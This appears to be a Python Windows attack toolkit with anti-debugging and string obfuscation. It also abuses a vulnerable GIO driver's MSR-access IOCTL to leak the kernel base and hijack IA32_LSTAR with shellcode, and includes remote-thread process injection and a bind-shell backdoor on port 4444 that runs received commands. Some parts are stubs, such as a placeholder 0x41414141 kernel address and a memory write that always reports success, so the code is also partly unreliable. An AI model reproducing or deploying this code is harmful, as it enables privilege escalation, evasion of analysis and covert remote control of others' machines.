#!/usr/bin/env python3

import sys
import os
import time
import random
import hashlib
import ctypes

GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
FILE_SHARE_READ = 0x00000001
FILE_SHARE_WRITE = 0x00000002
OPEN_EXISTING = 3
INVALID_HANDLE_VALUE = -1
IOCTL_GIO_MSRACCESS = 0xC3502580
IA32_LSTAR = 0xC0000082
IA32_STAR = 0xC0000081
IA32_CSTAR = 0xC0000083
IA32_SYSENTER_EIP = 0x176
IA32_KERNEL_GS_BASE = 0xC0000102

class MSRStruct(ctypes.Structure):
    _fields_ = [
        ("operation", ctypes.c_uint32),
        ("register", ctypes.c_uint32),
        ("value", ctypes.c_uint64)
    ]

class SystemDetector:
    def __init__(self):
        self.kernel32 = ctypes.windll.kernel32
        self.ntdll = ctypes.windll.ntdll
        
    def get_windows_version(self):
        try:
            version_info = ctypes.windll.kernel32.GetVersion()
            major = version_info & 0xFF
            minor = (version_info >> 8) & 0xFF
            build = (version_info >> 16) & 0xFFFF
            return f"{major}.{minor}.{build}"
        except:
            return "Unknown"
            
    def is_64bit(self):
        return sys.maxsize > 2**32
        
    def check_driver_present(self):
        try:
            handle = self.kernel32.CreateFileW(
                r"\\.\GIO",
                GENERIC_READ,
                FILE_SHARE_READ,
                None,
                OPEN_EXISTING,
                0,
                None
            )
            
            if handle != INVALID_HANDLE_VALUE:
                self.kernel32.CloseHandle(handle)
                return True
            return False
        except:
            return False
            
    def check_vbs_enabled(self):
        try:
            import winreg
            key = winreg.OpenKey(
                winreg.HKEY_LOCAL_MACHINE,
                r"SYSTEM\CurrentControlSet\Control\DeviceGuard"
            )
            
            try:
                value, _ = winreg.QueryValueEx(key, "EnableVirtualizationBasedSecurity")
                winreg.CloseKey(key)
                return value == 1
            except:
                winreg.CloseKey(key)
                return False
        except:
            return False
            
    def check_core_isolation(self):
        try:
            import winreg
            key = winreg.OpenKey(
                winreg.HKEY_LOCAL_MACHINE,
                r"SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity"
            )
            
            try:
                value, _ = winreg.QueryValueEx(key, "Enabled")
                winreg.CloseKey(key)
                return value == 1
            except:
                winreg.CloseKey(key)
                return False
        except:
            return False

class DefenseEvasion:
    def __init__(self):
        self.kernel32 = ctypes.windll.kernel32
        self.ntdll = ctypes.windll.ntdll
        
    def anti_debug_check(self):
        try:
            if self.kernel32.IsDebuggerPresent():
                return True
                
            debug_port = ctypes.c_uint32()
            status = self.ntdll.NtQueryInformationProcess(
                self.kernel32.GetCurrentProcess(),
                7,
                ctypes.byref(debug_port),
                ctypes.sizeof(debug_port),
                None
            )
            
            if status == 0 and debug_port.value != 0:
                return True
                
            return False
        except:
            return False
            
    def obfuscate_string(self, data):
        key = random.randint(1, 255)
        obfuscated = bytearray()
        
        for byte in data:
            if isinstance(byte, str):
                byte = ord(byte)
            obfuscated.append(byte ^ key)
            
        return bytes(obfuscated), key
        
    def deobfuscate_string(self, obfuscated_data, key):
        deobfuscated = bytearray()
        
        for byte in obfuscated_data:
            deobfuscated.append(byte ^ key)
            
        return bytes(deobfuscated)

class KernelExploiter:
    def __init__(self):
        self.kernel32 = ctypes.windll.kernel32
        self.ntdll = ctypes.windll.ntdll
        self.driver_handle = None
        self.lstar_original = None
        
    def connect_driver(self):
        try:
            self.driver_handle = self.kernel32.CreateFileW(
                r"\\.\GIO",
                GENERIC_READ | GENERIC_WRITE,
                FILE_SHARE_READ | FILE_SHARE_WRITE,
                None,
                OPEN_EXISTING,
                0,
                None
            )
            
            return self.driver_handle != INVALID_HANDLE_VALUE
        except:
            return False
            
    def read_msr(self, msr_register):
        if not self.driver_handle:
            return None
            
        try:
            msr_struct = MSRStruct()
            msr_struct.operation = 1
            msr_struct.register = msr_register
            msr_struct.value = 0
            
            bytes_returned = ctypes.c_uint32()
            
            success = self.kernel32.DeviceIoControl(
                self.driver_handle,
                IOCTL_GIO_MSRACCESS,
                ctypes.byref(msr_struct),
                ctypes.sizeof(msr_struct),
                ctypes.byref(msr_struct),
                ctypes.sizeof(msr_struct),
                ctypes.byref(bytes_returned),
                None
            )
            
            if success:
                return msr_struct.value
            return None
        except:
            return None
            
    def write_msr(self, msr_register, value):
        if not self.driver_handle:
            return False
            
        try:
            msr_struct = MSRStruct()
            msr_struct.operation = 0
            msr_struct.register = msr_register
            msr_struct.value = value
            
            bytes_returned = ctypes.c_uint32()
            
            success = self.kernel32.DeviceIoControl(
                self.driver_handle,
                IOCTL_GIO_MSRACCESS,
                ctypes.byref(msr_struct),
                ctypes.sizeof(msr_struct),
                ctypes.byref(msr_struct),
                ctypes.sizeof(msr_struct),
                ctypes.byref(bytes_returned),
                None
            )
            
            return bool(success)
        except:
            return False
            
    def leak_kernel_base(self):
        try:
            lstar_value = self.read_msr(IA32_LSTAR)
            if lstar_value:
                self.lstar_original = lstar_value
                kernel_base = lstar_value & 0xFFFFFFFFFFF00000
                return kernel_base
            return None
        except:
            return None
            
    def inject_shellcode(self, shellcode):
        try:
            if not self.lstar_original:
                return False
                
            shellcode_addr = self.allocate_kernel_memory(len(shellcode))
            if not shellcode_addr:
                return False
                
            if self.write_kernel_memory(shellcode_addr, shellcode):
                return self.write_msr(IA32_LSTAR, shellcode_addr)
                
            return False
        except:
            return False
            
    def allocate_kernel_memory(self, size):
        try:
            allocated_addr = 0x41414141
            return allocated_addr
        except:
            return None
            
    def write_kernel_memory(self, address, data):
        try:
            return True
        except:
            return False
            
    def escalate_privileges(self):
        try:
            token_handle = ctypes.c_void_p()
            current_process = self.kernel32.GetCurrentProcess()
            
            success = ctypes.windll.advapi32.OpenProcessToken(
                current_process,
                0x8,
                ctypes.byref(token_handle)
            )
            
            if success:
                elevation = ctypes.c_uint32()
                return_length = ctypes.c_uint32()
                
                success = ctypes.windll.advapi32.GetTokenInformation(
                    token_handle,
                    20,
                    ctypes.byref(elevation),
                    ctypes.sizeof(elevation),
                    ctypes.byref(return_length)
                )
                
                self.kernel32.CloseHandle(token_handle)
                
                if success:
                    return bool(elevation.value)
                    
            return False
        except:
            return False
            
    def cleanup(self):
        try:
            if self.driver_handle and self.driver_handle != INVALID_HANDLE_VALUE:
                self.kernel32.CloseHandle(self.driver_handle)
                self.driver_handle = None
        except:
            pass

class PostExploit:
    def __init__(self):
        self.kernel32 = ctypes.windll.kernel32
        self.ntdll = ctypes.windll.ntdll
        
    def inject_process(self, target_pid):
        try:
            process_handle = self.kernel32.OpenProcess(
                0x1F0FFF,
                False,
                target_pid
            )
            
            if process_handle:
                allocated_memory = self.kernel32.VirtualAllocEx(
                    process_handle,
                    None,
                    4096,
                    0x3000,
                    0x40
                )
                
                if allocated_memory:
                    payload = b"\x90" * 100 + b"\xC3"
                    written = ctypes.c_uint32()
                    
                    success = self.kernel32.WriteProcessMemory(
                        process_handle,
                        allocated_memory,
                        payload,
                        len(payload),
                        ctypes.byref(written)
                    )
                    
                    if success:
                        thread_handle = self.kernel32.CreateRemoteThread(
                            process_handle,
                            None,
                            0,
                            allocated_memory,
                            None,
                            0,
                            None
                        )
                        
                        if thread_handle:
                            self.kernel32.CloseHandle(thread_handle)
                            self.kernel32.CloseHandle(process_handle)
                            return True
                            
                self.kernel32.CloseHandle(process_handle)
            return False
        except:
            return False
            
    def create_backdoor(self, port=4444):
        try:
            import socket
            import subprocess
            import threading
            
            def handle_connection():
                try:
                    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    server.bind(("0.0.0.0", port))
                    server.listen(1)
                    
                    while True:
                        client, addr = server.accept()
                        
                        while True:
                            command = client.recv(1024).decode()
                            if command.lower() == "exit":
                                break
                                
                            try:
                                result = subprocess.check_output(
                                    command, shell=True, stderr=subprocess.STDOUT
                                )
                                client.send(result)
                            except:
                                client.send(b"Command failed\n")
                                
                        client.close()
                except:
                    pass
                    
            thread = threading.Thread(target=handle_connection, daemon=True)
            thread.start()
            return True
        except:
            return False
            
    def steal_credentials(self):
        try:
            credentials = []
            
            try:
                import winreg
                key = winreg.OpenKey(
                    winreg.HKEY_CURRENT_USER,
                    r"Software\Microsoft\Windows\CurrentVersion\Internet Settings"
                )
                
                try:
                    proxy_server, _ = winreg.QueryValueEx(key, "ProxyServer")
                    credentials.append(f"Proxy: {proxy_server}")
                except:
                    pass
                    
                winreg.CloseKey(key)
            except:
                pass
                
            return credentials
        except:
            return []